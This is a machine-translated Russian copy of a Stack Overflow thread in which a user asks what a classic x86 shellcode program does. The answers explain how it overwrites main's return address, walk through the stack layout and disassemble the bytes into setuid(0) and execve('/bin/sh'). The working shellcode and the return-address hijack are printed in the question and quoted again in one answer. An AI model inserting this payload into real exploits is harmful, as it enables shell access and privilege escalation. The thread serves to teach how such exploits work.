кто-либо может объяснить этот код мне?

ПРЕДУПРЕЖДЕНИЕ: Это - использование. Не выполняйте этот код.

//shellcode.c

char shellcode[] =
    "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 
    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return
                           //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the
                             //address of the shellcode, so it executes.
}

кто-либо может дать мне лучшее объяснение?

14
задан Ethan Heilman 20 March 2012 в 19:37
поделиться

6 ответов

По-видимому, этот код пытается изменить стек, чтобы при возврате функции main выполнение программы не возвращалось регулярно в библиотеку времени выполнения (которая обычно завершает программу), а вместо этого перескакивает в код сохранен в массиве шеллкода .

1) int * ret;

определяет переменную в стеке, сразу после аргументов функции main .

2) ret = (int *) & ret + 2;

позволяет переменной ret указывать на int * , который помещается в два int сек выше ret в стеке. Предположительно, это то место, где находится адрес возврата, где программа продолжит работу, когда вернется main .

2) (* ret) = (int) шелл-код;

В качестве адреса возврата устанавливается адрес содержимого массива шелл-код , так что шелл-код содержимое будет выполнено при возврате main .


шеллкод , по-видимому, содержит машинные инструкции, которые, возможно, выполняют системный вызов для запуска / bin / sh . Я мог ошибаться в этом, поскольку на самом деле я не разбирал шеллкод .


P.S .: Этот код зависит от машины и компилятора и, возможно, не будет работать на всех платформах.


Ответьте на ваш второй вопрос:

и что произойдет, если я использую ret = (int) & ret +2 и почему мы добавили 2? почему не 3 или 4 ?? ? и я думаю, что int составляет 4 байта, поэтому 2 будет 8 байтов нет?

ret объявлен как int * , поэтому присваивается int (например, (int) & ret ) было бы ошибкой. Что касается того, почему добавлено 2, а не какое-либо другое число: очевидно, потому что этот код предполагает, что адрес возврата будет находиться в этом месте в стеке. Рассмотрим следующее:

  • В этом коде предполагается, что стек вызовов растет вниз, когда что-то на него нажимается (как это действительно происходит, например, с процессорами Intel). Вот почему число добавляется , а не вычитается : адрес возврата находится в более высоком адресе памяти, чем автоматические (локальные) переменные (например, ret ).

  • Из того, что я помню со времен сборки Intel, функция C часто вызывается следующим образом: сначала все аргументы помещаются в стек в обратном порядке (справа налево). Затем вызывается функция. Таким образом, адрес возврата помещается в стек. Затем устанавливается новый кадр стека, который включает в себя размещение регистра ebp в стеке. Затем локальные переменные устанавливаются в стеке под всем, что было помещено в него до этого момента.

Теперь я предполагаю следующую структуру стека для вашей программы:

+-------------------------+
|  function arguments     |                       |
|  (e.g. argv, argc)      |                       |  (note: the stack
+-------------------------+   <-- ss:esp + 12     |   grows downward!)
|  return address         |                       |
+-------------------------+   <-- ss:esp + 8      V
|  saved ebp register     |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  (see code below)
|  local variable (ret)   |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

Внизу лежит ret (32-битное целое число). Выше находится сохраненный регистр ebp (который также имеет ширину 32 бита). Выше указан 32-битный адрес возврата.(Выше будут аргументы main - argc и argv - но здесь они не важны.) Когда функция выполняется, стек указатель указывает на ret . Адрес возврата находится на 64 бита «выше» ret , что соответствует + 2 в

ret = (int*)&ret + 2; 

. Это + 2 , потому что ret ] - это int * , а int - 32-битное, поэтому добавление 2 означает установку его в ячейку памяти 2 × 32 бита (= 64 бита) выше (int *) & ret ... который будет местоположением обратного адреса, если все предположения в предыдущем абзаце верны.


Экскурсия: Позвольте мне продемонстрировать на языке ассемблера Intel, как может быть вызвана функция C (если я правильно помню - я не гуру в этой теме, поэтому могу ошибаться):

// first, push all function arguments on the stack in reverse order:
push  argv
push  argc

// then, call the function; this will push the current execution address
// on the stack so that a return instruction can get back here:
call  main

// (afterwards: clean up stack by removing the function arguments, e.g.:)
add   esp, 8

Внутри main может произойти следующее:

// create a new stack frame and make room for local variables:
push  ebp
mov   ebp, esp
sub   esp, 4

// access return address:
mov   edi, ss:[ebp+4]

// access argument 'argc'
mov   eax, ss:[ebp+8]

// access argument 'argv'
mov   ebx, ss:[ebp+12]

// access local variable 'ret'
mov   edx, ss:[ebp-4]

...

// restore stack frame and return to caller (by popping the return address)
mov   esp, ebp
pop   ebp
retf

См. Также: Описание последовательности вызова процедуры в C для другого объяснения этой темы.

23
ответ дан 1 December 2019 в 05:58
поделиться

Фактический шелл-код:

(gdb) x /25i &shellcode
0x804a040 <shellcode>:      xor    %eax,%eax
0x804a042 <shellcode+2>:    xor    %ebx,%ebx
0x804a044 <shellcode+4>:    mov    $0x17,%al
0x804a046 <shellcode+6>:    int    $0x80
0x804a048 <shellcode+8>:    jmp    0x804a069 <shellcode+41>
0x804a04a <shellcode+10>:   pop    %esi
0x804a04b <shellcode+11>:   mov    %esi,0x8(%esi)
0x804a04e <shellcode+14>:   xor    %eax,%eax
0x804a050 <shellcode+16>:   mov    %al,0x7(%esi)
0x804a053 <shellcode+19>:   mov    %eax,0xc(%esi)
0x804a056 <shellcode+22>:   mov    $0xb,%al
0x804a058 <shellcode+24>:   mov    %esi,%ebx
0x804a05a <shellcode+26>:   lea    0x8(%esi),%ecx
0x804a05d <shellcode+29>:   lea    0xc(%esi),%edx
0x804a060 <shellcode+32>:   int    $0x80
0x804a062 <shellcode+34>:   xor    %ebx,%ebx
0x804a064 <shellcode+36>:   mov    %ebx,%eax
0x804a066 <shellcode+38>:   inc    %eax
0x804a067 <shellcode+39>:   int    $0x80
0x804a069 <shellcode+41>:   call   0x804a04a <shellcode+10>
0x804a06e <shellcode+46>:   das    
0x804a06f <shellcode+47>:   bound  %ebp,0x6e(%ecx)
0x804a072 <shellcode+50>:   das    
0x804a073 <shellcode+51>:   jae    0x804a0dd
0x804a075 <shellcode+53>:   add    %al,(%eax)

Это примерно соответствует

setuid(0);
x[0] = "/bin/sh"
x[1] = 0;
execve("/bin/sh", &x[0], &x[1])
exit(0);
19
ответ дан 1 December 2019 в 05:58
поделиться

Каждый \ xXX - шестнадцатеричное число. Одно, два или три таких числа вместе образуют код операции (например, Google). Вместе они образуют сборку, которая более или менее напрямую может выполняться машиной. И этот код пытается выполнить шелл-код.

Я думаю, шеллкод пытается создать оболочку.

0
ответ дан 1 December 2019 в 05:58
поделиться

Не просматривая все фактические коды операций для подтверждения, массив шеллкода содержит машинный код, необходимый для выполнения / bin / sh . Этот шелл-код представляет собой машинный код, тщательно созданный для выполнения желаемой операции на конкретной целевой платформе и не содержащий никаких нулевых байтов.

Код в main () изменяет адрес возврата и поток выполнения, чтобы заставить программу порождать оболочку, выполняя инструкции в массиве шелл-кода .

См. Smashing The Stack for Fun And Profit , где описано, как можно создать подобный шелл-код и как его можно использовать.

5
ответ дан 1 December 2019 в 05:58
поделиться

Строка содержит серию байтов, представленных в шестнадцатеричном формате.

Байты кодируют серию инструкций для конкретного процессора на конкретной платформе - надеюсь, вашей. (Изменить: если это вредоносная программа, надеюсь, не ваша!)

Переменная определена только для того, чтобы получить дескриптор стека. Закладка, если хотите. Затем используется арифметика указателей, опять же зависящая от платформы, для управления состоянием программы, чтобы заставить процессор переходить и выполнять байты в строке.

0
ответ дан 1 December 2019 в 05:58
поделиться

Эта строка взята из старого документа о переполнении буфера, и будет выполняться / bin / sh. Поскольку это вредоносный код (ну, в сочетании с эксплойтом буфера), вам действительно стоит включить его происхождение в следующий раз.

Из того же документа, как кодировать эксплойты на основе стека :

/* the shellcode is hex for: */
      #include <stdio.h>
       main() { 
       char *name[2]; 
       name[0] = "sh"; 
       name[1] = NULL;
       execve("/bin/sh",name,NULL);
          } 

char shellcode[] =
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
         \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
         \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

Включенный вами код вызывает выполнение содержимого шелл-кода [], запускает execve и обеспечивает доступ к оболочке. А термин Shellcode? Из Википедия :

В области компьютерной безопасности шелл-код - это небольшой фрагмент кода, используемый в качестве полезной нагрузки при эксплуатации уязвимости программного обеспечения . . Он называется "шелл-кодом", потому что обычно запускает командную оболочку, из которой злоумышленник может управлять скомпрометированной машиной .Шелл-код обычно записывается в машинном коде, но любой фрагмент кода , выполняющий аналогичную задачу, можно назвать шелл-кодом.

15
ответ дан 1 December 2019 в 05:58
поделиться
Другие вопросы по тегам:

Похожие вопросы: